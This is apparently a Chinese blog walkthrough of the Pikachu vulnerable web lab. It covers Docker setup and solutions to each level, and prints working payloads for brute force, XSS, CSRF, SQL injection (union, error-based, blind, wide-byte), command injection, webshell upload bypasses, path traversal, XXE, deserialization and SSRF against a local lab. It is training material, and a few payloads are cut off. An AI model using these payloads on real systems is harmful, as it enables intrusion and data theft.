pikachu靶场通关全流程

pikachu靶场通关全流程

_
本文内容由 AI 辅助生成,已经人工审核和编辑。

Pikachu 靶场作为网络安全领域知名的实战演练平台,为安全爱好者提供了丰富的漏洞模拟环境

Docker安装

安装docker

sudo apt install -y docker.io docker-compose

启动docker服务

1.sudo systemctl start docker #启动docker
2.sudo systemctl enable docker #设置开机自启动

docker配置

为 docker 配置国内镜像源,配置内容为:

{
  "registry-mirrors": [
    "https://docker.mirrors.ustc.edu.cn",
    "https://hub-mirror.c.163.com",
    "https://mirror.baidubce.com",
    "https://dockerproxy.com"
  ],
  "max-concurrent-downloads": 3,
  "max-download-attempts": 5,
  "dns": ["8.8.8.8", "114.114.114.114"]
}

重启docker

重启 docker,并验证 docker 运行。

sudo systemctl daemon-reload
sudo systemctl start docker
sudo systemctl enable docker
sudo docker version

环境搭建

镜像拉取

直接从华为云(SWR)拉取镜像

docker pull swr.cn-north-4.myhuaweicloud.com/ddn-k8s/docker.io/area39/pikachu:latest

运行镜像

安装完成后,可以运行下面的命令来创建并运行 docker 容器。

docker run -d -p 80:80 --name pikachu swr.cn-north-4.myhuaweicloud.com/ddn-k8s/docker.io/area39/pikachu:latest

运行之后,输入 ifconfig 命令查看虚拟机 IP,访问对应端口就行,我们这里设置的是 80 端口,直接访问 IP 就行。

初始化

点击初始化就行了。

通关教程

暴力破解

基于表单的暴力破解

首先随便输个账号密码,抓取数据包,发送到Intruder模块,进行爆破。

然后添加将用户名和密码都添加为 payload,接着选择集束炸弹攻击,对 payload1 和 payload2 进行设置。

开始攻击,攻击完成后,发现有一条不同于其他的响应长度,那个响应就是成功的响应。

爆破出账号密码为 admin/123456。

验证码绕过(On Server)

这一关首先输入正确的验证码,账号密码随便填,然后 bp 抓包,发送到 Repeater 模块重复发包。发现验证码参数一直有效。提示 username or password is not exists,只要页面不刷新,验证码就不会改变,那我们只需要输入一次正确的验证码,然后和第一关一样抓包进行爆破就行了。

验证码绕过(On Client)

还是一样,先随便输入一下,发现输入错的验证码,会出现弹窗,输入正确的验证码就不会。

查看源代码,发现验证码的验证机制在前端。

emmmm,任何在前端进行的验证,都是没有任何作用的。我们打开开发者工具,然后找到设置,直接禁用 JavaScript,这样验证机制就被绕过了。

现在就相当于没有了验证码参数,我们接下来和第一关一样直接进行爆破就行。

token防爆破?

在开始之前,我们先了解一下 token 是什么?

token 通常指的是一个用于验证用户身份和授权访问的令牌。它是一种特殊的字符串或代码,由服务器生成并分配给经过身份验证的用户。用户在成功登录后,服务器会颁发一个 token 给客户端(例如 Web 浏览器),客户端将在随后的请求中将该 token 作为身份验证凭据发送给服务器。简单来说就是服务器给前端发的身份证,前端向服务器发送请求时都要带上这个身份证,服务器通过这个身份证来判断是否是合法请求。

我们回到这一关,先抓包,发现多了一个 token 字段,我们发送到 Repeater 模块,发现再次发送请求,出现了 error。

说明这个 token 是一次性的 token,再次发送同样的 token 是无效的。

我们抓包发送到攻击模块,payload1,payload2 设置同第一关的设置,payload3 是 token 字段,设置为递归提取,不过先要在设置里添加检索。

配置好以后,payload 处会出现我们刚配置的检索。注意:这里的攻击类型选择 Pitchfork(音叉) 攻击。攻击类型为音叉的时候,例如你要爆破账号和密码,你的账号字典为 123,456;你的密码字典为 147,258。那么你爆破的次数就为 2 次了,分别是 (123,147),(456,258),也就是说账号字典和密码字典是一一对应的。

配置好之后我们开始攻击。攻击成功 admin/123456

Cross-Site Scripting(XSS攻击)

反射型XSS(GET)

输入到一半,发现没办法输入了,应该是设置了最大长度的限制。

我们打开开发者工具改一下输入框的最大长度。

改了之后输入<script>alert('XSS')</script>

反射型XSS(POST)

和第一个差不多,只不过要先输入账号密码,admin/123456,可以和之前一样进行爆破。

登录后,输入弹 cookie 的 payload:

<script>alert(document.cookie)</script>

存储型XSS

直接在留言板上输入 XSS 代码。

<script>alert('xss')</script>

DOM型XSS

什么是 DOM 型 XSS?就是向文档对象传入 xss 代码参数,然后操作文档对象时就会触发 xss 攻击,不经过服务器。

传统 XSS

用户 → 恶意URL → 服务器 → 响应包含恶意脚本 → 浏览器执行

DOM 型 XSS

用户 → 恶意URL → 服务器 → 正常响应 → 浏览器JS处理URL → 修改DOM → 执行恶意代码

分析一下前端网页代码:发现我们输入的内容,会被作为 str 传递到 a 标签的 href 属性。那么我们只要把 href 弄成 XSS 代码就可以出发 XSS 漏洞。

DOM型XSS-X

和上面的一样,只不过要点击两次链接才触发 XSS。

XSS之盲打

XSS 盲打就是攻击者在进行 XSS 插入时不会在前端有回显,但是在后台可以看得到,当管理员进行后台登录时就会看到 XSS 的内容,如果存在这种漏洞危害性还是很大的,因为能直接盗取管理员的 COOKIE 拿到权限。

我们直接提交 payload。

然后登录后台http://192.168.10.128/vul/xss/xssblind/admin_login.php,输入账号密码 admin/123456,然后就会触发 XSS。

XSS之过滤

script关键字被过滤了。我们直接使用大小写进行绕过。

<ScriPt>alert('xss')</ScriPt>

还有很多种的绕过方法:

使用注释进行干扰: <sc<!--test--> ript> alert(14)</scr <--test--> ipt>
重写: <scri<script> pt> alert(14)</scri</script> pt>
使用img标签<img src=xss onerror="alert(11)">

XSS之htmlspecialchars

这里有个函数:specialchars 函数,这个函数会过滤单引号,双引号,尖括号,但默认不过滤单引号,只有将 quotestyle 选项为 ENT_QUOTES 才会过滤单引号。

我们直接使用 JavaScript 协议的 payload 就行。

j

XSS之href

和上面的一样,直接输入:javascript:alert(1);就可以触发。

XSS之js输出

输入:<script>alert(1)</script>,查看源码,发现是字符连接,所以输入时候要先闭合再插入,我们前面多一个</script>就与前面闭合了, 这样就可以触发 XSS 了

CSRF

在 CSRF 的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以 CSRF 攻击也成为 "one click" 攻击。

CSRF(GET)

首先点击提示,选择一个用户登录。

然后修改用户信息,并抓去修改信息的数据包。

BurpSuite 专业版里面集成了 CSRF POC 模块,右键选择 CSRF POC,然后修改请求,构造你想要的恶意请求。

访问生成的链接后,用户的信息就会在不知不觉间被修改。

CSRF(POST)

和 GET 请求的方法一样,直接使用 CSRF POC 生成 POC。POST 请求参数都在请求正文中,因为这些都在请求体中所以我们要自己搭一个恶意站点去构造 URL,让 lili 去点击这个站点触发脚本进行执行。

CSRF Token

这一关增加了 token,但还是有办法的。

首先在 BurpSuite 中下载插件 CSRF Token Tracker。

下载完成之后,来到重放器,先进行设置,设置总是跟随重定向。

然后设置 CSRF Token Tracker。

注意:后面的值是成功后的 Token 值,刚开始是没有的

做好以上步骤后,就可以在重放模块更改参数了。

SQL-inject

数字型注入(POST)

直接抓包,发到重放器,尝试 1 后面添加单引号和双引号,发现都报错,证明存在 SQL 注入。

利用 order by 来判断字段长度。

1 order by 1,2,3 --+

发现 1,2,3 会报错,而 1,2 不会,说明没有第三个字段,只有两个字段。

接下来探测数据库名,用户名。

id=-1 union select database(),user()

接下来爆破表:

发现表名 users,推测为用户表。

接下来爆破列:

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

接下来爆破字段:

id=-1 union select username,password from users

字符型注入(GET)

来行变成了字符型,在 SQL 中字符是用单引号引起来的,还是一样的过程,只不过多了单引号闭合以及注释。

还是一样,引号报错。

先判断字段长度:

' order by 1,2,3--+

和上一关一样,可以判断出有两个字段。

接下来爆破数据库和用户表:

' union select database(),user() --+

后续和上一关一样的流程。

搜索型注入

这一关和字符型一样。

' or 1=1 #

XX型注入

所谓的 xx 型注入,就是输入的值可能被各种各样的符号包裹(单引号,双引号,括号等等)。输入:1'后,出现报错

name=1 正常


name=1' 报错


name=1') 报错


name=1') --+ 正常


判断其为字符型注入,闭合符号为 '),然后接下来就是和上面一模一样的步骤,爆库,爆表等等。

insert/update注入

这个注入其实就是报错注入,其原理是利用数据库机制, 通过制造能够触发错误的条件, 错误信息中可以出现我们想要的信息结果。报错注入主要通过 updatexml()和 extractvalue() 两个函数对 xpath 文本进行报错注入,显示报错信息。

根据首页提示,我们先注册一个账号,提交时抓包。

得到一串参数,我们从 username 开始尝试。

username=111' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '

这里在第二个 and 后使用单引号的目的是:111 后的引号闭合 sql 语句数据前面的引号;and 后的引号闭合 sql 语句数据最后的引号。

username=111' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '&password=222&sex=&phonenum=&email=&add=&submit=submit'

爆破表:

username=111' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) and '

虽然表名成功被我们爆出来了,但是并不完整,有部分报名因为显示长度限制无法显示出来,我们可以使用 substr( ) 函数进行每 32 位的显示

username=111' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1) and '

爆破字段名:

username=111' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),1,31),0x7e),1) and '

爆破数据:

username=111'and updatexml(1,concat(0x7e,substr((select group_concat(id,':',username,':',password) from pikachu.users),1,31),0x7e),1) and '

当爆破完整的数据时,修改 substr 中第二个参数即可控制从何处进行显示,最后获得完整的数据。

delete注入

提示:删除留言的时候好像有问题,我们先留个言,然后抓取删除留言的数据包。

GET /vul/sqli/sqli_del.php?id=56 HTTP/1.1
Host: 192.168.10.128
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.128/vul/sqli/sqli_del.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=honbqm5hpc1nu6v53lqt1e1lom
Connection: keep-alive

后面加个单引号,判断注入点。

接着使用 updatexml 报错注入。

id=67+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)

这里为了使编译通过将空格改为了 +。

发现可以查询到数据库名,接下来的步骤和报错注入流程相同。

"http header"注入

很多网站都会收集用户的浏览器信息,如 user-agent,http-accept 等信息,如果没有对这些信息进行特殊的处理,直接保存到数据库中,那么就会存在 http 头注入漏洞了。

抓取登录的包,捕获抓到的第二个名为 sqli_header.php 的包,发现其中有 user-agent 和 referer。

GET /vul/sqli/sqli_header/sqli_header.php HTTP/1.1
Host: 192.168.10.128
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.128/vul/sqli/sqli_header/sqli_header_login.php
Accept-Encoding: gzip, deflate, br
Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=honbqm5hpc1nu6v53lqt1e1lom
Connection: keep-alive

查询数据库名:

' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

后续操作与报错注入一致。

盲注(base on boolian)

当系统没有把异常直接抛到前端展示的时候,我们就无法判断注入的效果,这种情况下的注入,即是盲注。我们只能通过页面的正常与不正常来判断我们的注入情况,即是boolian 盲注

获取数据库信息,利用能正常返回信息的状态下,只能返回两列信息

' UNION SELECT CONCAT(@@hostname,database()),CONCAT(user(),version()) -- 
' UNION SELECT @@hostname,database() -- 

能完整获取到正确的信息。后面的步骤和字符型一样了。

盲注(base on time)

时间盲注就比 boolian 盲注条件更加的苛刻了,正确也错误都无法区分,只能通过时间进行区分。

首先判断注入点,通过 sleep 语句来判断语句是否正确的执行。

' or 1=1 and sleep(0.5) -- 

判断数据库名长度:

#数据库名长度,如果大于5,暂停0.5毫秒,为true
' or 1=1 and sleep(if(length(database())>5,0.5,0)) -- 
#5*2,如果大于10,暂停0.5毫秒,为false
' or 1=1 and sleep(if(length(database())>10,0.5,0)) -- 
#如果大于8,暂停0.5毫秒,为false
' or 1=1 and sleep(if(length(database())>8,0.5,0)) -- 
#如果大于7,暂停0.5毫秒,为false
' or 1=1 and sleep(if(length(database())>7,0.5,0)) -- 
#如果大于6,暂停0.5毫秒,为true,得出长度是7
' or 1=1 and sleep(if(length(database())>6,0.5,0)) -- 

获取表:

' or 1=1 and sleep(if(ascii(substr((select table_name from information_schema.tables where
 table_schema =database() limit 0,1),1,1))=104,0.5,0)) -- 

宽字节注入

宽字节(一个字符为两个字节的大小)注入的主要原因是编码格式的不同导致的,由于程序设计人员为了防止 sql 注入,会在所有引号前加入 进行转义,但数据库的宽字节编码会将两个相连的字符合并形成一个汉字,这样可使引号依然可以正确带入数据库中进行 sql 注入。

输入:

name=1%df' or 1=1#

有回显,说明宽字节注入。

获取数据库信息:

1%df' union select version(),database()#

获取表名:

1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

获取列:

1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273#

获取数据:

1%df' union select 1,group_concat(id) from pikachu.users#


1%df' union select 1,group_concat(password) from pikachu.users#


1%df' union select 1,group_concat(username) from pikachu.users#

宽字节注入完成!

RCE

RCE(remote command/code execute) 漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统远程命令执行

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口, 比如我们常见的路由器、防火墙、入侵检测等设备的 web 管理界面上。

一般会给用户提供一个 ping 操作的 web 界面,用户从 web 界面输入目标 IP,提交后,后台会对该 IP 地址进行一次 ping 测试,并返回测试结果。若设计者在完成该功能时没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器,现在很多的甲方企业都开始实施自动化运维, 大量的系统操作会通过 "自动化运维平台" 进行操作远程代码执行

同样的道理, 因为需求设计, 后台有时候也会把用户的输入作为代码的一部分进行执行, 也就造成了远程代码执行漏洞。不管是使用了代码执行的函数, 还是使用了不安全的反序列化等等。

命令连接符

例:cmd_1 (分隔符) cmd_2

&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功时,才会执行第二个命令 cmd_2

||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败时,才会执行第二个命令 cmd_2

&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行

;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2

exec "ping"

直接输入:

127.0.0.1;ls

exec "eval"

直接输入:

p

可以直接查看 PHP 的配置信息。

当然,也可以用 fputs 写入 webshell,后续用连接工具进行连接管理。

File Inclusion(文件包含)

local

仅对服务器本地的文件进行包含, 由于服务器上的文件并不是攻击者所能控制得, 因此在攻击的过程中更多的是包含系统的配置文件 (如密钥文件), 或者配合文件上传漏洞去形成更大的威力。

看到这个参数,尝试改动为其他文件。

http://192.168.10.128/vul/fileinclude/fi_local.php?filename=../../../test/phpinfo.txt&submit=提交

remote

include 函数:include 'filename.php' 会把 filename.php 文件的内容插入到当前文件中。

尝试变更参数:

h

Unsafe file downloads(不安全的文件下载)

文件下载、目录遍历、文件包含这类文件类的问题主要都是一个原因:使用了用户传入的参数拼接进逻辑并且缺少防护。

看这一关,我们尝试随便点击一个,抓取数据包。

可以看到这边有个参数名可以改动,试着改传入的文件名为特殊文件 phpinfo.txt。

成功读取!

Unsafe file uploads(不安全的文件上传)

文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。

无文件解析安全问题时,文件格式解析是一对一的(不能 jpg 解析为 php),换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析注意:一定要把杀软关掉先,不然后门文件会直接被删。

client check

如果直接上传 php 文件,会出现弹窗。

这里有两种方法可以绕过,一种直接禁用 JavaScript,就可以绕过前端检查,另一种先将后缀改为 jpg,然后 BurpSuite 改回 php 后缀就行。这里我直接禁用 JavaScript 了,更方便一点。

然后用蚁剑连接。

MIME type

这边的服务端校验并没有做强校验,只校验了 MIME 头,一般在做了强校验并且没有可以改变文件解析规则的漏洞时就没有文件上传漏洞了。这里我们拦截包改 MIME 头为 image/png 即可。

文件上传成功,接下来一样用蚁剑连接就行。

getimagesize

这一关的校验就很强了,只能以图片形式上传,并且不能直接访问,直接改后缀也不行。

getimagesize() 通过读取图像文件的元数据或解析图像数据来实现图像信息读取,也就是说它看到的是上面截图里那样的数据,用后缀名、MIME 是无法忽悠过它的。

那么我们就尝试用伪造数据头的办法来骗他,从而实现上传。

可以看到文件头已经改为 GIF 的文件头了,然后再上传。

看来只能用图片的形式了,将后缀改为 png,上传成功。

但是没有文件解析漏洞的问题是不能直接连上 shell,我们用文件包含来解析这个后门(相当于强制解析为 php 文件)。

http://192.168.10.128/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2026/01/16/740673696a23912bd59633442070.png&submit=%E6%8F%90%E4%BA%A4

然后利用蚁剑进行连接。成功连接。

Over Permisson(越权漏洞)

主要测试功能点:需要用到账号信息的、可以查看或修改账号信息的,例如: 账号信息查看、账号密码信息更改、个人信息导出等

水平越权:越到同等级的账号,例如游客 1-> 游客 2

垂直越权:越到更高等级的账号,例如游客 -> 管理员

水平越权

首先随便登录一个账号 lucy/123456

抓包修改名字为 "lili",放包后显示 lili 的信息。

垂直越权

提示:这里有两个用户 admin/123456,pikachu/000000,admin 是超级 boss

我们先登录两个账号看看有什么区别

pikachu:

admin:

发现多了一个添加用户的功能,添加用户功能的页面是 /op2_admin_edit.php,如果 pikachu 用户也能访问这个页面,那么就越权成功。

我们登录上 pikachu 的账号直接访问添加用户的页面,发现也能访问,添加用户看能不能成功,发现成功。

新添加的用户:

目录遍历

目录遍历主要是因为开发时没做权限设置、使用了不安全的方式浏览文件(接受文件名为变量实现,并且还没过滤)。还有是跟环境配置有关系,例如 PHPstudy 其实是有设置 DIR 路径的功能,如果功能开启就无法遍历到网站根目录以外。

可以看到不同的留言是以文件名传参的方式浏览,那我们就可以尝试加上../ 这样的参数尝试目录遍历。

http://192.168.10.128/vul/dir/dir_list.php?title=../../../test/phpinfo.txt

传入参数:../../../test/phpinfo.txt,成功访问!

敏感信息泄露

敏感信息泄露其实对渗透测试很重要,它也是信息收集的重要目标。包括:目录文件结构、操作系统、中间件、开发语言版本、后台登录地址、内网接口信息、账号密码、用户身份证号码、目标系统重要信息资料及核心机密等。一般对网站的测试流程:端口扫描、目录爬取 / 爆破、前端查看 js 文件找路径和 API 泄露、google 语法搜索、查指纹信息、查目标公司其他互联网资产、ip 反查域名等等,基本就是信息搜集的技术了。

测试账号

未授权访问

PHP反序列化

序列化:对象转换为数组或字符串等格式 serialize()

反序列化:将数组或字符串等格式转换成对象 unserialize()

原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法反序列化漏洞一般在白盒测试中测试,通过构造 POP 链寻找相同的函数名将类的属性和敏感函数的属性联系起来,从而实现攻击。并且攻击是基于不安全的魔术方法。如果没有不安全的魔术方法,那么该反序列化安全。

我们看一下代码:

class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}

$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }

__construct() 方法里直接将接收到的 test 参数内容写到页面里,会导致 XSS。

w 我们本地新建一个 PHP 文件用于构造 pop 链

<?php
class S{
    var $test = "<script>alert('1')</script>";
}
$pop = new S();
$Ser = serialize($pop);
echo $Ser;
?>

POC:

O:1:"S":1:{s:4:"test";s:27:"<script>alert('1')</script>";}

输入框中,提交:

XXE

XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。等同于 JSON 传输。

XXE 漏洞 XML External Entity Injection,即 xml 外部实体注入漏洞:XXE 漏洞发生在应用程序解析 XML 输入时,没禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网扫描、攻击内网等危害。

构造 payload:

<?xml version="1.0"?> 
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "C:/phpstudy_pro/WWW/pikachu-master/testflag.txt" > ]> 
<foo>&xxe;</foo>

提交:

URL重定向

采用参数接受的形式接受了 url 跳转的页面并且没做判定就会导致这个问题。我们复制其中个的链接,将 URL 参数改为百度网站就会直接跳转到百度。

http://192.168.10.128/vul/urlredirect/urlredirect.php?url=https://www.baidu.com

SSRF

SSRF(Server-Side Request Forgery: 服务器端请求伪造),一种由攻击者构造形成由服务端发起请求的一个安全漏洞; 一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统(由服务端发起,所以它能够请求到与它相连而与外网隔离的内部系统)。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目 标地址做过滤与限制。

curl

点到页面的链接后来到这个页面,发现 URL 参数中使用了伪协议,那么我们就可以尝试伪协议读取其他的文件。

http://192.168.10.128/vul/ssrf/ssrf_curl.php?url=file:///C:/phpstudy_pro/WWW/pikachu-master/testflag.txt

flie_get_content

和上一关一样的步骤

总结

Pikachu 是一款优秀的国产 Web 漏洞靶场,为学习网络安全提供了绝佳实践平台。它覆盖了 SQL 注入、XSS、CSRF、文件上传等十余种常见漏洞类型。每种漏洞均配有详细说明和实操环境,能直观地展示漏洞成因、攻击利用过程及修复方案。其界面简洁友好,部署简单,非常适合初学者系统性地理解 Web 安全的核心原理和攻防技术。

RCE_labs通关教程(下) 2026-01-01
ZGSF-Windows-Web3(灵境) 2026-02-01

评论区